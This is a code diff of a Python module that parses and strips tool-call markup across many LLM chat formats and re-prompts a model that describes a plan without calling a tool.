+    re.compile(r"<\|tool_call_begin\|>.*?<\|tool_call_end\|>", re.DOTALL),
+]
+_TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
+    re.compile(r"<tool_call>.*$", re.DOTALL),
+    re.compile(r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>.*$', re.DOTALL),
+    # Bare-word markers drop a trailing truncated call only when a call-shaped start
+    # follows; a prose mention (``See [TOOL_CALLS] docs...``) keeps its tail. Bare marker at EOF drops.
+    re.compile(r"<\|tool_call>(?=\s*call\s*:|\s*$).*$", re.DOTALL),
+    re.compile(
+        r"\[TOOL_CALLS\](?=\s*(?:[\[{]|[A-Za-z_][\w.\-]*(?:[\[{]|\s*$))|\s*$).*$",
+        re.DOTALL,
+    ),
+    re.compile(
+        r"<\|python_tag\|>(?=\s*(?:\{|[A-Za-z_][\w.]*\()|\s*$).*$",
+        re.DOTALL,
+    ),
+    # DeepSeek envelopes truncated mid-stream (any opener); same call-shaped lookahead as above.
+    re.compile(
+        _DEEPSEEK_OPEN_RE_SRC + r"(?=\s*(?:<｜tool▁call▁begin｜>|function)|\s*$).*$",
+        re.DOTALL,
+    ),
+    re.compile(r"<｜tool▁call▁begin｜>(?=\s*function|\s*$).*$", re.DOTALL),
+    # Kimi K2 envelope truncated.
+    re.compile(
+        r"<\|tool_calls_section_begin\|>(?=\s*<\|tool_call_begin\|>|\s*$).*$",
+        re.DOTALL,
+    ),
+    re.compile(
+        r"<\|tool_call_begin\|>(?=\s*[A-Za-z_][\w.\-]*:\d|\s*$).*$",
+        re.DOTALL,
+    ),
+    # Gemma wrapper-less ``call:NAME{...}`` is handled by ``_strip_gemma_wrapperless_calls`` (enabled-name gate).
+]
 
 
-def strip_tool_markup(text: str, *, final: bool = False) -> str:
-    return _tool_healing.strip_tool_call_markup(text, final = final)
-
-
-# Prefixes the streaming buffer watches for to gate in-progress text.
-TOOL_XML_SIGNALS = ("<tool_call>", "<|tool_call>", "<function=")
-
-
-# Nudges + error prefixes shared by the GGUF and safetensors loops.
 TOOL_ERROR_PREFIXES = (
     "Error",
     "Search failed",
@@ -70,8 +156,7 @@ BUDGET_EXHAUSTED_NUDGE = (
     "any more tools."
 )
 
-# The exact-args dup guard misses paraphrased re-searches, so also cap executed
-# KB searches per turn, then nudge.
+# The exact-args dup guard misses paraphrased re-searches, so also cap KB searches per turn.
 RAG_MAX_SEARCHES_PER_TURN = 3
 RAG_SEARCH_CAP_NUDGE = (
     "You have already searched the knowledge base several times this turn. "
@@ -80,6 +165,2614 @@ RAG_SEARCH_CAP_NUDGE = (
 )
 
 
+# ── Plan-without-action re-prompt (shared by the GGUF and safetensors loops) ──
+# Forward-looking intent: the model says what it *will* do, not a final answer.
+INTENT_SIGNAL = re.compile(
+    r"(?i)("
+    # Direct intent ("I'll", "Let me"); lookahead drops negated forms
+    # ("I will not") so a refusal does not re-prompt.
+    r"\b(i['\u2019](ll|m going to|m gonna)|i am (going to|gonna)|i will|i shall|let me|allow me)\b(?!\s+(?:not|never)\b)"
+    r"|"
+    # Step/plan framing: "First ...", "Step 1:", "Here's my plan"
+    r"\b(?:first\b|step \d+:?|here['\u2019]?s (?:my |the |a )?(?:plan|approach))"
+    r"|"
+    r"\b(?:now i|next i)\b"
+    r")"
+)
+# Matches GGUF's established default (llama_cpp.py has re-prompted up to 3
+# times since #5620); safetensors and MLX inherit the same cap from here.
+MAX_ACT_REPROMPTS = 3
+REPROMPT_MAX_CHARS = 2000
+
+
+def is_short_intent_without_action(text: str) -> bool:
+    stripped = text.strip()
+    return 0 < len(stripped) < REPROMPT_MAX_CHARS and INTENT_SIGNAL.search(stripped) is not None
+
+
+def reprompt_to_act_message(tool_hint: str) -> str:
+    """The user message appended when re-prompting a plan-without-action turn."""
+    return (
+        "You have access to enabled tools. If a tool is needed to satisfy "
+        "the user's request or complete the action you described, call "
+        f"{tool_hint} now. If no tool is needed, provide the final answer "
+        "and follow the user's requested format."
+    )
+
+
+# Qwen / Hermes ``<tool_call>{json}``.
+_TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
+# Qwen3.5 ``<function=name>`` and the attribute form ``<function name="name">``
+# (MiniCPM-5, MiniMax-M2); name class ``[\w.\-]+`` lands in group(1) or group(2).
+_TC_FUNC_START_RE = re.compile(r'<function(?:=([\w\.\-]+)|\s+name="([\w\.\-]+)")>\s*')
+# Body ends at ``</tool_call>`` (Hermes) or ``</function>`` (Qwen3.5 / MiniCPM-5)
+# so it stops at the close even when prose follows (else prose leaked into args).
+_TC_END_TAG_RE = re.compile(r"</(?:tool_call|function)>")
+_TC_FUNC_CLOSE_RE = re.compile(r"\s*</function>\s*$")
+# Horizontal whitespace only (``[^\S\n]*``, not ``\s*``) so the wrapping newline +
+# first-line indentation survive; ``_trim_param_value`` trims one newline, preserving
+# code indentation (SGLang qwen3_coder).
+_TC_PARAM_START_RE = re.compile(
+    r'<(?:parameter|param)(?:=([\w\.\-]+)|\s+name="([\w\.\-]+)")>[^\S\n]*'
+)
+_TC_PARAM_CLOSE_RE = re.compile(r"\s*</(?:parameter|param)>\s*$")
+
+# Llama-3 ``<|python_tag|>NAME.call(...)``.
+_LLAMA3_PYTHON_TAG = "<|python_tag|>"
+_LLAMA3_PY_CALL_RE = re.compile(
+    r"<\|python_tag\|>\s*([\w\.\-]+)\s*\.\s*call\s*\(",
+)
+# Anchored at a fixed offset (char after ``<|python_tag|>``) plus the ``; NAME.call(``
+# chain separator; fixed-offset (not a free scan) ignores ``.call(`` inside JSON args.
+_LLAMA3_PY_CALL_HEAD_RE = re.compile(r"\s*([\w\.\-]+)\s*\.\s*call\s*\(")
+_LLAMA3_CALL_CHAIN_RE = re.compile(r"\s*;\s*([\w\.\-]+)\s*\.\s*call\s*\(")
+# Llama-3 ``.call(k=v)`` kwarg tokens, hand-scanned below (not finditer) to stay
+# linear on a truncated body; finditer retries every offset of a long run (ReDoS).
+_LLAMA3_KEY_RE = re.compile(r"\w+")
+_LLAMA3_WS_RE = re.compile(r"\s*")
+# ints, decimals (1.5, 1., .5) and sci notation; trailing ``(?![\w.])`` stops a token
+# like ``1.2.3`` being truncated to ``1.2`` (which would mis-parse the remainder).
+_LLAMA3_NUM_RE = re.compile(r"-?(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?(?![\w.])")
+_LLAMA3_LIT_RE = re.compile(r"true|false|null")
+
+# Mistral ``[TOOL_CALLS]`` trigger. v11+ chains them, each followed by a bare name
+# plus ``{json}`` (Magistral) or ``[ARGS]{json}`` (Ministral / Large 3).
+_MISTRAL_TRIGGER = "[TOOL_CALLS]"
+_MISTRAL_ARGS_MARKER = "[ARGS]"
+# Mistral Small 3.2 emits ``name[CALL_ID]<id>[ARGS]{json}`` (absent on Ministral /
+# Magistral); llama.cpp distinguishes the two on ``[CALL_ID]`` (common/chat.cpp).
+_MISTRAL_CALL_ID_MARKER = "[CALL_ID]"
+# Magistral wraps reasoning in ``[THINK]...[/THINK]``; a ``[TOOL_CALLS]`` inside
+# that block is chain-of-thought, not a real call.
+_MISTRAL_THINK_OPEN = "[THINK]"
+_MISTRAL_THINK_CLOSE = "[/THINK]"
+_MISTRAL_V11_NAME_RE = re.compile(r"\s*([\w\.\-]+)\s*")
+
+# DeepSeek markers (full-width pipe U+FF5C, block U+2581); five outer-open variants like llama.cpp.
+_DEEPSEEK_BEGIN_RE = re.compile(_DEEPSEEK_OPEN_RE_SRC)
+_DEEPSEEK_END = "<｜tool▁calls▁end｜>"
+_DEEPSEEK_CALL_BEGIN = "<｜tool▁call▁begin｜>"
+_DEEPSEEK_SEP = "<｜tool▁sep｜>"
+_DEEPSEEK_CALL_END = "<｜tool▁call▁end｜>"
+# R1 wraps args in a ```json fence with a ``function`` prefix; V3/V3.1 do not.
+# Scanned with ``str.find`` -- the regex forms are O(N^2) on truncated bodies.
+_DEEPSEEK_R1_FUNC_MARKER = "function" + _DEEPSEEK_SEP
+_DEEPSEEK_R1_FENCE = "\n```json\n"
+_DEEPSEEK_R1_CLOSE_RE = re.compile(r"```[\s\r\n]*" + re.escape(_DEEPSEEK_CALL_END))
+
+# GLM 4.5-4.7: ``<tool_call>NAME[\n]<arg_key>K</arg_key>...``; the lookahead also allows a
+# direct ``<arg_key>``/``</tool_call>`` (4.7 drops the newline, zero-arg calls close at once).
+# Name class ``[\w.\-]+`` keeps prose like ``<tool_call>not a call</tool_call>`` unparsed;
+# ``{`` stays with the Qwen JSON parser.
+_GLM_TC_OPEN_RE = re.compile(r"<tool_call>\s*([\w.\-]+)\s*(?=\n|<arg_key>|</tool_call>)")
+_GLM_TC_CLOSE = "</tool_call>"
+_GLM_ARG_KEY_OPEN = "<arg_key>"
+_GLM_ARG_KEY_CLOSE = "</arg_key>"
+_GLM_ARG_VAL_OPEN = "<arg_value>"
+_GLM_ARG_VAL_CLOSE = "</arg_value>"
+# Strings arrive raw, non-strings via tojson; only unambiguous JSON literals decode
+# (bare ``42``/``true``/``null`` stay strings).
+_GLM_JSON_NUMERIC_RE = re.compile(r"-?\d+(?:\.\d+)?(?:[eE][+-]?\d+)?")
+
+# Kimi K2 / Moonshot (ASCII pipes). Id ``functions.NAME:IDX`` -- strip ``functions.``/``:N`` for the name.
+_KIMI_SECTION_BEGIN = "<|tool_calls_section_begin|>"
+_KIMI_SECTION_END = "<|tool_calls_section_end|>"
+_KIMI_CALL_BEGIN = "<|tool_call_begin|>"
+_KIMI_ARG_BEGIN = "<|tool_call_argument_begin|>"
+_KIMI_CALL_END = "<|tool_call_end|>"
+_KIMI_ID_RE = re.compile(r"^(?:functions\.)?([\w\.\-]+)(?::(\d+))?$")
+
+# Gemma 4: ``<|tool_call>call:NAME{...}<tool_call|>``, ``<|"|>`` wraps strings.
+_GEMMA_TC_RE = re.compile(r"<\|tool_call>\s*call\s*:\s*([\w\.\-]+)\s*\{")
+_GEMMA_STR_BEGIN = '<|"|>'
+_GEMMA_STR_END = '<|"|>'
+_GEMMA_TC_END = "<tool_call|>"
+
+# skip_special_tokens strips the wrapper and ``<|"|>`` markers, so streamed Gemma calls
+# arrive as bare ``call:NAME{k:v, ...}``; ``(?<!\w)`` avoids ``recall:``.
+_GEMMA_BARE_TC_RE = re.compile(r"(?<!\w)call\s*:\s*([\w\.\-]+)\s*\{")
+# Partial leading prefix (``call``, ``call :``, ``call : name``) so the streaming buffer
+# holds it instead of leaking visible text.
+_GEMMA_BARE_TC_PREFIX_RE = re.compile(r"(?<!\w)call\s*(?::\s*[\w\.\-]*)?$")
+# Keys start with a letter/underscore so ``10:00, 11:00`` in a value isn't misread as a new key.
+_GEMMA_KEY_RE = re.compile(r"\s*([A-Za-z_][\w.\-]*)\s*:")
+
+
+def _balanced_bracket_end(text: str, start: int) -> int | None:
+    """Index of the ``]`` matching ``[`` at ``text[start]`` (ignores brackets in JSON strings)."""
+    if start >= len(text) or text[start] != "[":
+        return None
+    depth = 0
+    in_string = False
+    esc = False
+    i = start
+    while i < len(text):
+        ch = text[i]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+        else:
+            if ch == '"':
+                in_string = True
+            elif ch == "[":
+                depth += 1
+            elif ch == "]":
+                depth -= 1
+                if depth == 0:
+                    return i
+        i += 1
+    return None
+
+
+def _skip_mistral_call_id(text: str, pos: int) -> int:
+    """Skip an optional ``[CALL_ID]<id>`` (Mistral Small 3.2); return the next token pos."""
+    n = len(text)
+    i = pos
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    if not text.startswith(_MISTRAL_CALL_ID_MARKER, i):
+        return pos
+    i += len(_MISTRAL_CALL_ID_MARKER)
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    # The id is a short opaque token; stop at whitespace or the next marker.
+    while i < n and text[i] not in " \t\n\r[{":
+        i += 1
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    return i
+
+
+def _strip_mistral_reasoning(content: str) -> str:
+    """Drop a leading Magistral ``[THINK]...[/THINK]`` so a ``[TOOL_CALLS]`` inside
+    reasoning is not taken as a real call; an unclosed ``[THINK]`` drops from it on."""
+    i = 0
+    n = len(content)
+    while i < n and content[i] in " \t\n\r":
+        i += 1
+    if not content.startswith(_MISTRAL_THINK_OPEN, i):
+        return content
+    close = content.find(_MISTRAL_THINK_CLOSE, i + len(_MISTRAL_THINK_OPEN))
+    if close == -1:
+        return content[:i]
+    return content[:i] + content[close + len(_MISTRAL_THINK_CLOSE) :]
+
+
+def _strip_mistral_closed_calls(text: str) -> str:
+    """Strip cleanly-closed ``[TOOL_CALLS]`` blocks (array, ``name{json}``,
+    ``name[ARGS]{json}``) via balanced scanning -- a non-greedy ``\\{.*?\\}`` would
+    truncate at the first ``}`` and lose nested JSON. Unclosed runs are left for
+    ``final=True`` cleanup."""
+    n = len(text)
+    out = []
+    cursor = 0
+    while cursor < n:
+        idx = text.find(_MISTRAL_TRIGGER, cursor)
+        if idx == -1:
+            out.append(text[cursor:])
+            break
+        out.append(text[cursor:idx])
+        body_start = idx + len(_MISTRAL_TRIGGER)
+        i = body_start
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        # Array shape: ``[TOOL_CALLS] [...]``.
+        if i < n and text[i] == "[":
+            end = _balanced_bracket_end(text, i)
+            if end is None:
+                # Truncated; let caller buffer / final-strip.
+                out.append(text[idx:])
+                break
+            cursor = end + 1
+            if text.startswith("</s>", cursor):
+                cursor += len("</s>")
+            continue
+        # Single-object shape ``[TOOL_CALLS] { json }`` (no name/array): the parser
+        # accepts it, so the display strip must remove it too (else it leaks).
+        if i < n and text[i] == "{":
+            end = _balanced_brace_end(text, i)
+            if end is None:
+                out.append(text[idx:])
+                break
+            cursor = end + 1
+            if text.startswith("</s>", cursor):
+                cursor += len("</s>")
+            continue
+        # Named shape: ``[TOOL_CALLS] name [ARGS]? { json }``.
+        name_match = _MISTRAL_V11_NAME_RE.match(text, i)
+        if not name_match:
+            out.append(text[idx:body_start])
+            cursor = body_start
+            continue
+        i = name_match.end()
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        i = _skip_mistral_call_id(text, i)
+        if text.startswith(_MISTRAL_ARGS_MARKER, i):
+            i += len(_MISTRAL_ARGS_MARKER)
+            while i < n and text[i] in " \t\n\r":
+                i += 1
+        if i >= n or text[i] != "{":
+            out.append(text[idx:i])
+            cursor = i
+            continue
+        end = _balanced_brace_end(text, i)
+        if end is None:
+            out.append(text[idx:])
+            break
+        cursor = end + 1
+        # Consume the optional EOS marker too, mirroring the array shape, so a
+        # ``[TOOL_CALLS]name{json}</s>`` tail doesn't leave ``</s>`` as content.
+        if text.startswith("</s>", cursor):
+            cursor += len("</s>")
+    return "".join(out)
+
+
+def _strip_gemma_wrapperless_calls(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    """Strip closed wrapper-less Gemma ``call:NAME{...}`` calls with balanced brace
+    scanning (nested arguments are removed whole). ``enabled_tool_names`` gates the
+    strip like the parser gate: a disabled/example name stays visible; ``None``
+    strips every closed call."""
+    if _whole_content_is_json_value(text):
+        return text
+    n = len(text)
+    out = []
+    # Mirror the parse scan: a leading JSON answer's span is data, kept visible.
+    cursor = _leading_json_value_end(text) or 0
+    if cursor:
+        out.append(text[:cursor])
+    while cursor < n:
+        m = _GEMMA_BARE_TC_RE.search(text, cursor)
+        if not m:
+            out.append(text[cursor:])
+            break
+        disabled = enabled_tool_names is not None and m.group(1) not in enabled_tool_names
+        brace = m.end() - 1  # _GEMMA_BARE_TC_RE consumes through the opening ``{``
+        # Same boundary scanner as the parser: strip exactly what it consumed.
+        end = _gemma_body_brace_end(text, brace)
+        closed = end is not None
+        next_index = (end + 1) if closed else len(text)
+        if not closed:
+            # Unclosed call: drop an enabled call to EOS; keep a disabled/example name as prose.
+            out.append(text[cursor:] if disabled else text[cursor : m.start()])
+            break
+        if disabled:
+            # Disabled/example name is prose: keep it whole.
+            out.append(text[cursor:next_index])
+        else:
+            out.append(text[cursor : m.start()])
+        cursor = next_index  # already past the matching ``}``
+    return "".join(out)
+
+
+_FUNC_CLOSE_TAG_RE = re.compile(r"</function>")
+
+
+def _strip_function_xml_calls(text: str, *, final: bool) -> str:
+    """Strip ``<function=...>`` calls by mirroring the parser: an opener inside an open ``<parameter>`` is data and each call closes at its first ``</function>`` that is not parameter data; ``final`` drops a trailing unclosed call."""
+    starts = [
+        m for m in _TC_FUNC_START_RE.finditer(text) if not _inside_open_parameter(text, m.start())
+    ]
+    if not starts:
+        return text
+    out: list[str] = []
+    pos = 0
+    for idx, m in enumerate(starts):
+        if m.start() < pos:
+            continue  # opener already inside a previously consumed call span
+        out.append(text[pos : m.start()])
+        next_start = starts[idx + 1].start() if idx + 1 < len(starts) else len(text)
+        close = None
+        for cm in _FUNC_CLOSE_TAG_RE.finditer(text, m.end(), next_start):
+            if not _inside_open_parameter(text, cm.start()):
+                close = cm  # first close that is not parameter data = the real close
+                break
+        if close is not None:
+            pos = close.end()
+        elif final:
+            pos = len(text)  # trailing unclosed call -- drop to EOF
+        else:
+            out.append(text[m.start() :])  # keep the unclosed call buffered mid-stream
+            pos = len(text)
+            break
+    out.append(text[pos:])
+    return "".join(out)
+
+
+def _glm_value_close(
+    text: str,
+    vs: int,
+    *,
+    strict: bool = False,
+) -> int:
+    """Index of the ``</arg_value>`` that really ends the GLM value at ``vs``: the
+    first one whose next non-space token is ``<arg_key>``, ``</tool_call>`` or
+    end-of-text AND that sits at balanced quote state (an embedded literal pair
+    like ``print("</arg_value></tool_call>")`` lives inside a still-open string).
+    Quote openers are contextual (single quote only after punctuation, so
+    apostrophes are prose; double quote also at word start), mirroring the Gemma
+    scanners. If no candidate balances, the first token-valid one wins -- except
+    in ``strict`` mode (Auto-Heal off), which refuses the in-quote fallback rather
+    than execute truncated arguments. Returns -1 if unclosed."""
+    n = len(text)
+    search = vs
+    first_candidate = -1
+    quote = ""
+    prev = ":"
+    prev_raw = ":"
+    qpos = vs  # quote-state cursor; advanced incrementally to each candidate
+    while True:
+        ve = text.find(_GLM_ARG_VAL_CLOSE, search)
+        if ve < 0:
+            return -1 if strict else first_candidate
+        j = ve + len(_GLM_ARG_VAL_CLOSE)
+        while j < n and text[j] in " \t\r\n":
+            j += 1
+        if j >= n or text.startswith(_GLM_ARG_KEY_OPEN, j) or text.startswith(_GLM_TC_CLOSE, j):
+            while qpos < ve:
+                ch = text[qpos]
+                if quote:
+                    if ch == "\\" and qpos + 1 < ve:
+                        qpos += 2
+                        continue
+                    if ch == quote:
+                        quote = ""
+                elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+                    quote = ch
+                if not ch.isspace():
+                    prev = ch
+                prev_raw = ch
+                qpos += 1
+            if not quote:
+                return ve
+            if first_candidate < 0:
+                first_candidate = ve
+        search = ve + len(_GLM_ARG_VAL_CLOSE)
+
+
+def _strip_glm_calls(text: str, *, final: bool) -> str:
+    """Strip GLM 4.x calls by scanning to each call's REAL ``</tool_call>`` (the one
+    after the last consumed ``<arg_value>``, mirroring ``_parse_glm_tool_calls``), so
+    a literal ``</tool_call>`` inside a value is data. Qwen ``<tool_call>{json}`` has
+    no NAME token and is left to the regex arms. ``final`` drops a truncated call to
+    EOS; otherwise it stays buffered."""
+    out: list[str] = []
+    cursor = 0
+    n = len(text)
+    while True:
+        m = _GLM_TC_OPEN_RE.search(text, cursor)
+        if not m:
+            break
+        apos = m.end()
+        close = -1
+        while True:
+            ks = text.find(_GLM_ARG_KEY_OPEN, apos)
+            tc = text.find(_GLM_TC_CLOSE, apos)
+            if tc >= 0 and (ks < 0 or tc < ks):
+                close = tc
+                break
+            if ks < 0:
+                break  # no close and no more keys -- truncated body
+            ke = text.find(_GLM_ARG_KEY_CLOSE, ks + len(_GLM_ARG_KEY_OPEN))
+            if ke < 0:
+                break
+            vstart = ke + len(_GLM_ARG_KEY_CLOSE)
+            while vstart < n and text[vstart] in " \t\r\n":
+                vstart += 1
+            if not text.startswith(_GLM_ARG_VAL_OPEN, vstart):
+                apos = ke + len(_GLM_ARG_KEY_CLOSE)
+                continue
+            vs = vstart + len(_GLM_ARG_VAL_OPEN)
+            ve = _glm_value_close(text, vs)
+            if ve < 0:
+                break  # unclosed <arg_value> -- truncated
+            apos = ve + len(_GLM_ARG_VAL_CLOSE)
+        if close >= 0:
+            out.append(text[cursor : m.start()])
+            cursor = close + len(_GLM_TC_CLOSE)
+            continue
+        # Truncated GLM call (no real close yet).
+        if final:
+            out.append(text[cursor : m.start()])
+            cursor = n
+        # Non-final: leave the unclosed call (and any tail) buffered as-is.
+        break
+    out.append(text[cursor:])
+    return "".join(out)
+
+
+def strip_tool_markup(
+    text: str,
+    *,
+    final: bool = False,
+    enabled_tool_names: Optional[set] = None,
+) -> str:
+    """Strip tool-call markup. ``final=False`` keeps in-progress markup buffered;
+    ``final=True`` also drops trailing unclosed runs and trims.
+
+    ``enabled_tool_names`` gates the name-conditioned forms so a disabled/example name in
+    prose is kept (mirrors the parser gate): the bare reasoning-rehearsal ``name[ARGS]{...}``
+    and the markerless Gemma ``call:NAME{...}`` strip. ``None`` strips every closed call.
+    """
+    if final:
+        # Drop a leading Magistral ``[THINK]...[/THINK]`` at end-of-turn; its bracket
+        # form is not the ``<think>`` the reasoning channel renders.
+        text = _strip_mistral_reasoning(text)
+
+    def _strip_segment(segment: str, is_last: bool) -> str:
+        seg_final = final and is_last
+        seg = _strip_mistral_closed_calls(segment)
+        # Bare reasoning-rehearsal ``name[ARGS]{json}`` and the Mistral name form promote through
+        # the shared balanced scan, so strip them the same way (any nesting depth removed whole).
+        # The rehearsal arm is name-gated: an inactive ``foo[ARGS]{..}`` is prose and is kept.
+        seg = _tool_healing._strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
+        if seg_final:
+            # Markerless Gemma ``call:NAME{...}`` (name-gated, mirrors the parse gate); end-of-turn only.
+            seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
+        # Scan-strip the function-XML form (parser-accurate: a literal ``<function=...>`` in a
+        # value is data, not a call); the regex arms below cover the other formats.
+        seg = _strip_function_xml_calls(seg, final = seg_final)
+        # GLM 4.x: scan to the call's real </tool_call> so a literal one inside a value is data,
+        # not a leak. Qwen <tool_call>{json} is left to the regex arms.
+        seg = _strip_glm_calls(seg, final = seg_final)
+        pats = _TOOL_ALL_PATS if seg_final else _TOOL_CLOSED_PATS
+        for pat in pats:
+            seg = pat.sub("", seg)
+        if seg_final:
+            # Drop a trailing partial bare rehearsal (``name[ARGS]`` with a truncated or absent
+            # body) the balanced scan cannot close; gated so prose ``foo[ARGS] ...`` survives.
+            seg = _tool_healing.apply_tool_strip_patterns(
+                seg,
+                [_tool_healing._REHEARSAL_TAIL_STRIP_RE],
+                enabled_tool_names = enabled_tool_names,
+            )
+        return seg
+
+    # ``<think>`` / ``[THINK]`` reasoning is preserved verbatim (a rehearsed call inside it is
+    # not executed, so it must not be stripped from display either); a literal think marker
+    # inside a real call's arguments is that call's data and is stripped with the call.
+    result = _tool_healing.strip_outside_think(text, _strip_segment)
+    return result.strip() if final else result
+
+
 def has_tool_signal(text: str) -> bool:
-    """Return True if ``text`` contains any tool-call XML signal."""
     return any(s in text for s in TOOL_XML_SIGNALS)
+
+
+# A Qwen/Hermes ``<tool_call>``/``<function=...>`` envelope whose arguments carry literal
+# DeepSeek/Kimi markers must parse as the OUTER call. Detect it opening before the first
+# marker so the pre-pass skips it.
+_EMBEDDED_MARKER_RE = re.compile(
+    _DEEPSEEK_OPEN_RE_SRC + "|" + re.escape(_KIMI_SECTION_BEGIN) + "|" + re.escape(_KIMI_CALL_BEGIN)
+)
+# Covers ``<function=NAME>`` and the attribute form. ``<|python_tag|>`` is Llama-3's
+# envelope too (built-in ``NAME.call(`` and custom ``{json}``), so a quoted DeepSeek/Kimi
+# example is data; the call-shaped lookahead mirrors the ``_TOOL_ALL_PATS`` python_tag arm
+# so a bare prose ``<|python_tag|>`` mention isn't treated as one.
+_OUTER_ENVELOPE_OPEN_RE = re.compile(
+    r'<tool_call>|<function(?:=|\s+name=")|<\|tool_call>'
+    r"|<\|python_tag\|>(?=\s*(?:\{|[A-Za-z_][\w.]*\())"
+)
+# CLOSED outer envelopes, each spanning to its REAL final close so a literal
+# ``</tool_call>``/``</function>`` inside a value is data. Wrapped Gemma counts too.
+_OUTER_ENVELOPE_CLOSED_PATS = (
+    re.compile(r"<tool_call>(?:(?!<tool_call>).)*</tool_call>", re.DOTALL),
+    _TOOL_CLOSED_PATS[1],
+    re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
+)
+
+
+def _marker_inside_leading_envelope(content: str, enabled_tool_names: Optional[set] = None) -> bool:
+    first_marker = _EMBEDDED_MARKER_RE.search(content)
+    if first_marker is None:
+        return False
+    # A leading bare-JSON or Mistral [TOOL_CALLS] call is an outer envelope too:
+    # a DS/Kimi marker in its argument strings is data.
+    i = 0
+    n = len(content)
+    while i < n and content[i] in " \t\n\r":
+        i += 1
+    if content.startswith("{", i):
+        end = _balanced_brace_end(content, i)
+        if end is not None and i < first_marker.start():
+            name = _top_level_bare_json_name(content[i : end + 1])
+            if name is not None and (enabled_tool_names is None or name in enabled_tool_names):
+                # The closed leading call owns the turn: a marker inside it is argument
+                # data, one after it a trailing example (same rule as the XML envelopes below).
+                return True
+            if name is not None and first_marker.start() <= end:
+                # A disabled-name leading object is prose (can't own the turn), but a marker
+                # inside its own strings stays data. A marker AFTER it falls through to the pre-pass.
+                return True
+    elif content.startswith(_MISTRAL_TRIGGER, i):
+        end = _mistral_region_end(content, i)
+        if end is not None and i < first_marker.start():
+            return True
+    # A closed outer call PRECEDING the first marker owns the turn; the pre-pass must
+    # not steal a trailing example or argument data.
+    for _pat in _OUTER_ENVELOPE_CLOSED_PATS:
+        m = _pat.search(content)
+        if m is not None and m.start() < first_marker.start():
+            return True
+    residue = content
+    for _pat in _OUTER_ENVELOPE_CLOSED_PATS:
+        residue = _pat.sub("", residue)
+    marker = _EMBEDDED_MARKER_RE.search(residue)
+    if marker is None:
+        return True
+    # A marker still stands; any opener left in the residue is UNCLOSED. One before the
+    # marker is a truncated outer call holding the marker as data: skip the pre-pass.
+    opener = _OUTER_ENVELOPE_OPEN_RE.search(residue)
+    return opener is not None and opener.start() < marker.start()
+
+
+def _mistral_region_end(text: str, idx: int) -> int | None:
+    """Exclusive end of the balanced ``[TOOL_CALLS]`` call starting at ``idx``,
+    or ``None`` when truncated/unrecognised (same shapes as the strip scan:
+    array, single-object, and named ``name [CALL_ID]? [ARGS]? {json}``)."""
+    n = len(text)
+    i = idx + len(_MISTRAL_TRIGGER)
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    if i < n and text[i] == "[":
+        end = _balanced_bracket_end(text, i)
+        return None if end is None else end + 1
+    if i < n and text[i] == "{":
+        end = _balanced_brace_end(text, i)
+        return None if end is None else end + 1
+    name_match = _MISTRAL_V11_NAME_RE.match(text, i)
+    if not name_match:
+        return None
+    i = name_match.end()
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    i = _skip_mistral_call_id(text, i)
+    if text.startswith(_MISTRAL_ARGS_MARKER, i):
+        i += len(_MISTRAL_ARGS_MARKER)
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+    if i >= n or text[i] != "{":
+        return None
+    end = _balanced_brace_end(text, i)
+    return None if end is None else end + 1
+
+
+def _xml_signal_inside_leading_mistral(content: str) -> bool:
+    """True when a parseable Mistral call is the first tool emission in document order: it owns the turn, so later XML (quoted in its arguments or in trailing prose) is not promoted over it. A signal BEFORE the trigger keeps normal order."""
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig < 0:
+        return False
+    first_xml = _first_foreign_tool_signal(content)
+    if first_xml is not None and first_xml < trig:
+        return False
+    # Only plain prose precedes the trigger: a visible preface must not hand
+    # the turn to a later XML literal (preamble-tolerant, like the
+    # wrapperless-Gemma guard). Prose that merely mentions the marker has no
+    # parseable region and keeps the normal order.
+    return _mistral_region_end(content, trig) is not None
+
+
+def _parse_bare_rehearsals(
+    content: str,
+    *,
+    id_offset: int = 0,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Promote bare reasoning-rehearsal ``name[ARGS]{json}`` calls that a leading [TOOL_CALLS]
+    owns-the-turn parse would miss. Only the ``rehearsal`` kind is taken (a Mistral
+    ``[TOOL_CALLS]name[ARGS]{..}`` yields ``name`` and is not double-counted), and a rehearsal
+    inside a ``<think>`` / ``[THINK]`` block is reasoning, so it is skipped."""
+    out: list[dict] = []
+    think_spans = _tool_healing._think_spans_outside_tool_markup(content)
+    for start, end, kind, m in _tool_healing._iter_bracket_spans(
+        content, enabled_tool_names = enabled_tool_names
+    ):
+        if kind != "rehearsal":
+            continue
+        if any(s <= start < e for s, e in think_spans):
+            continue
+        try:
+            payload = json.loads(content[m.end() : end])
+        except (json.JSONDecodeError, ValueError):
+            continue
+        if not isinstance(payload, dict):
+            continue
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": m.group(1), "arguments": json.dumps(payload)},
+            }
+        )
+    return out
+
+
+_ATTR_FUNC_OPEN_RE = re.compile(r'<function\s+name="')
+
+
+def _first_foreign_tool_signal(content: str) -> int | None:
+    """Offset of the first tool signal a non-envelope parser would fire on
+    (XML forms plus ``<|python_tag|>``, which also runs before the Mistral parser)."""
+    first = None
+    for sig in ("<tool_call>", "<|tool_call>", "<function=", "<|python_tag|>"):
+        p = content.find(sig)
+        if p >= 0 and (first is None or p < first):
+            first = p
+    attr = _ATTR_FUNC_OPEN_RE.search(content)
+    if attr is not None and (first is None or attr.start() < first):
+        first = attr.start()
